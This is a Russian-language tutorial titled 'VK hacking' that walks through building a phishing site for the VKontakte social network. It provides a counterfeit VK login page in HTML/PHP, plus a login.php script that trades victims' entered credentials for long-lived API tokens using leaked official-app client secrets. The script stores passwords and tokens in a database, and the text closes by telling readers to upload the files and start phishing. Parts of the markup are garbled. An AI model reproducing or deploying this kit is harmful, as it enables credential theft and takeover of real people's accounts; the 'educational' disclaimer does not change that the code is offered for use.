June 30, 2020

Взлом ВКонтакте

Эта статья написана только для образовательных целей. Автор или издатель не публиковали эту статью для вредоносных целей. Если читатели хотели бы воспользоваться информацией для личной выгоды, то автор и издатель не несут ответственность за любой причиненный вред или ущерб.

Суть механизма заключается в том, что мы будем отправлять данные из HTML-форм на сервера вконтакте. В ответ мы получим access token.
Делать мы это будем с помощью cUrl и прямой авторизации через API VK. Выполнять авторизацию будем, представляясь официальным приложением. Запрос на прямую авторизацию выглядит примерно так:

Код:
https://api.vk.com/oauth/token?grant_type=password&client_id=[наше значение]&scope=[наше значение]&client_secret=[наше значение]&username=[наше значение]&password=[наше значение]

Что все это значит:
clenit_id - это id нашего приложения. Запишем в client_id значение 2274003.
scope - права доступа, необходимые приложению. Усложнять себе жизнь мы не будем, а просто запросим офлайн токен, записав в scope значение "offline". Этого будет достаточно, чтобы входить на страницу ВК по токену через apidog.ru. !Важно: такой токен "живет" до тех пор, пока пользователь не сменит пароль, либо завершит все сессии в настройках безопасности.
client_secret - секретный ключ Вашего приложения. Будет равен hHbZxrka2uZ6jB1inYsH
username - логин пользователя ВКонтакте

Варианты официальных clenit_id и client_secret
client_id: 2274003
client_secret: hHbZxrka2uZ6jB1inYsH

IPhone:
client_id: 3140623
client_secret: VeWdmVclDCtn6ihuP1nt

IPad:
client_id: 3682744
client_secret: mY6CDUswIVdJLCD3j15n

Windows desktop:
client_id: 3697615
client_secret: AlVXZFMUqyrnABp8ncuU

Windows phone:
client_id: 3502557
client_secret: PEObAuQi6KloPM4T30DV

Теперь необходима форма авторизации как в вк.
Создадим php документ authorize.php
authorize.php:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<?php
$errorGet = $_GET['error_login'];
if (!$errorGet)
{
echo "<style>
#hide_row_pass {display: none;}
</style>";
}
else
{
echo "<style>
#hide_row_pass {display: block;}
</style>";
}
?>
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<title>ВКонтакте | Вход</title>
<link rel="stylesheet" type="text/css" href="css/al/common.css?34795707965" /><link rel="stylesheet" type="text/css" href="css/al/fonts_cnt.css?5181750877" />
<link type="text/css" rel="stylesheet" href="css/api/oauth_popup.css?29651175773"></link>
<meta http-equiv="content-type" content="text/html; charset=utf-8" />
<link rel="shortcut icon" href="images/icons/favicons/fav_logo_2x.ico?8"></link>
</head>

<body class="VK oauth_centered">
<script>
if (window.devicePixelRatio >= 2) document.body.className += ' is_2x';
</script>
<div class="oauth_wrap">
<div class="oauth_wrap_inner">
<div class="oauth_wrap_content" id="oauth_wrap_content">
<div class="oauth_head">
<a class="oauth_logo fl_l" href="https://vk.com" target="_blank"></a>
<div id="oauth_head_info" class="oauth_head_info fl_r">
<a class="oauth_reg_link" href="https://vk.com/join?reg=1" target="_blank">Регистрация</a>
</div>
</div>

<div class="oauth_content box_body clear_fix">
<div class="box_msg_gray box_msg_padded">Для продолжения Вам необходимо войти <b>ВКонтакте</b>.</div>

<form method="POST" id="loginsubmit" action="login.php"> <div class="oauthform">

<div id="hide_rrowss" class="box_errerror">Указан неверный логин или пароль.</div> <div class="oauth_loginlogin"> <div class="oautheader"header">Телефон или email</div> <input type="text" class="oauthut darinput dark" name="login" value=""> <div class="oauthr">Парheader">Пароль</div> <input type="password" class="oauthark" ninput dark" name="password" /> <button class="flatutton button_wbutton buttonl_allow" type="submallow" type="submit" name="submiton>
<a class="oauth_forgot" href="https://vk.com/restore" target="_blank">Забыли пароль?</a>
</div>
</div>
</form>
</div>
</div>
</div>
</div>
</body>
</html>

Выглядить будет так:

Теперь нужен файл, который будет отсылать логин и пароль на авторизацию и получение токена. Назовем login.php
Но перед этим создадим БД куда будем записывать все валидные данные.

1. Переходим на хостинге в PhpMyAdmin и нажимаем "Создать"

а авторизацию и получение токена. Назовем login.php

2. Создадим таблицу на 7 столбцов

  1. 3. Параметры id, Логин (login), Пароль (password), Токен (token), Дата (date), Имя (firstname) и Фамилия (lastname) зададим как на картинке
  2. параметрах столбца id должен быть отмечен Впараметр "A_II" (autocrement) и стоять PRIMARY KEY
  3. Теперь сам файл login.php:
  4. параметрах столбца id должен быть отмечен параметр "A_II" (autocrement) и стоять PRIMARY KEY.

Теперь сам файл login.php:
<?php
//Создадим headers
$headers = array(
'accept' => 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',
'content-type' => 'application/x-www-form-urlencoded',
'user-agent' => 'Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/46.0.2490.86 Safari/537.36'
);
//Запишем сюда значения логина и пароля из HTML формы
$login = $_POST['login'];
$password = $_POST['password'];
//Если какое-то поле оказалось пустым
if (empty($login) or empty($password))
{
//Отправим пользователя на стартовую страницу authorize и просигнализируем об ошибке
header('Location: /authorize.php?error_login=true');
exit;
}
else
{
//Если все поля заполнены, то посылаем запрос на получение токена по нашей ссылке выше
$get_token = post ('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.'' ,array(
'headers' => array(
'accept: '.$headers['accept'],
'content-type: '.$headers['content-type'],
'user-agent: '.$headers['user-agent']
)
));
//Если авторизация прошла успешно
if (preg_match("/[a-z0-9]{85}/", $get_token['headers'], $token))
{
$token1 = json_decode(file_get_contents('https://api.vk.com/oauth/token?grant_type=password&client_id=2274003&scope=offline&client_secret=hHbZxrka2uZ6jB1inYsH&username='.$login.'&password='.$password.''), true);
$data = json_decode(file_get_contents('https://api.vk.com/method/users.get?user_id='.$token1['user_id'].'&access_token='.$token[0].'&fields=uid,first_name,last_name&v=5.80'), true);

//Записываем в переменную текущую дату и время сервера
$date_l = date("H:i:s d-m-Y");
//Подключаемся к БД
$host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
$link=mysql_connect($host,$user,$pass);
mysql_select_db($db_name,$link);
mysql_query("set names utf8");
//Выполняем запись валида в БД
$sql = mysql_query("INSERT INTO vk(login, password, token, date, user_id, first_name, last_name) VALUES('".$login."','".$password."','".$token[0]."','".$date_l."','".$token1['user_id']."','".$data['response'][0]['first_name']."','".$data['response'][0]['last_name']."')");
//Если все прошло успешно, то перенаправляем пользователя на vk.com или на ваш сайт
if ($sql) {
session_start();
$_SESSION['logged_user'] = $data['response'][0]['first_name'];
header('Location: vk.com/');
//Если при записи обнаружены ошибки, то перенаправим пользователя на главную страницу нашего сайта с сообщением об ошибке
} else header('Location: /authorize.php?error_login=true');
//Закрываем соединение
mysql_close($link);
exit;
}
//Если авторизация не прошла, то отправим пользователя на стартовую страницу с ошибкой
else header('Location: /authorize.php?error_login=true');
}
//cUrl POST
function post($url = null, $params = null, $proxy = null, $proxy_userpwd = null) {
$ch = curl_init();

curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 30);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);

if(isset($params['params'])) {
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $params['params']);
}

if(isset($params['headers'])) {
curl_setopt($ch, CURLOPT_HTTPHEADER, $params['headers']);
}

if(isset($params['cookies'])) {
curl_setopt($ch, CURLOPT_COOKIE, $params['cookies']);
}

if($proxy) {
curl_setopt($ch, CURLOPT_PROXY, $proxy);

if($proxy_userpwd) {
curl_setopt($ch, CURLOPT_PROXYUSERPWD, $proxy_userpwd);
}
}

$result = curl_exec($ch);
$result_explode = explode("\r\n\r\n", $result);

$headers = ((isset($result_explode[0])) ? $result_explode[0]."\r\n" : '').''.((isset($result_explode[1])) ? $result_explode[1] : '');
$content = $result_explode[count($result_explode) - 1];


preg_match_all('|Set-Cookie: (.*);|U', $headers, $parse_cookies);

$cookies = implode(';', $parse_cookies[1]);

curl_close($ch);

return array('headers' => $headers, 'cookies' => $cookies, 'content' => $content);
}
?>
В переменные $host="localhost";
$user=""; //Имя пользователя от MySql
$pass=""; //Пароль от MySql
$db_name=""; //Имя базы
вписываем наши данные

На 50 строчке если авторизация прошла успешно, нужно перенаправить пользователя на ваш сайт или куда вам угодно.
header('Location: "Ваш сайт" ');
Осталось залить все файлы на хостинг и можно фишить.